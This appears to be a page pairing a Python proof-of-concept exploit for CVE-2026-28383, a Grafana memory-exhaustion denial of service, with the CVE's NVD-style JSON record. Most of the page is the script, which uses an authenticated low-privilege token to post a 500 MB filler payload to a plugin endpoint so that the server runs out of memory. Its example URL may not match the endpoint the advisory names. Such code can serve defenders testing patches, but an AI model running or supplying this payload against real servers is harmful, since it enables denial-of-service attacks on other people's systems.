CVE-2026-28383

import requests import sys # CVE-2026-28383 PoC: Grafana Memory Exhaustion # This script sends a large payload to the plugin resources endpoint to trigger OOM. TARGET_URL = "http://localhost:3000/public/plugins/alertlist/" # Example endpoint AUTH_TOKEN = "YOUR_LOW_PRIVILEGE_API_TOKEN" # Requires valid authentication # Generate a large payload (e.g., 500MB) to consume memory # Adjust size based on target server memory payload_size = 500 * 1024 * 1024 print(f"[*] Generating payload of size: {payload_size / (1024*1024)} MB") malicious_data = "A" * payload_size headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } try: print(f"[*] Sending request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=malicious_data, headers=headers, timeout=30) print(f"[+] Request completed with status code: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out. Server might be unresponsive (DoS successful).") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-28383", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:20.130", "lastModified": "2026-05-14T16:21:02.930", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-28383", "source": "[email protected]"}]}}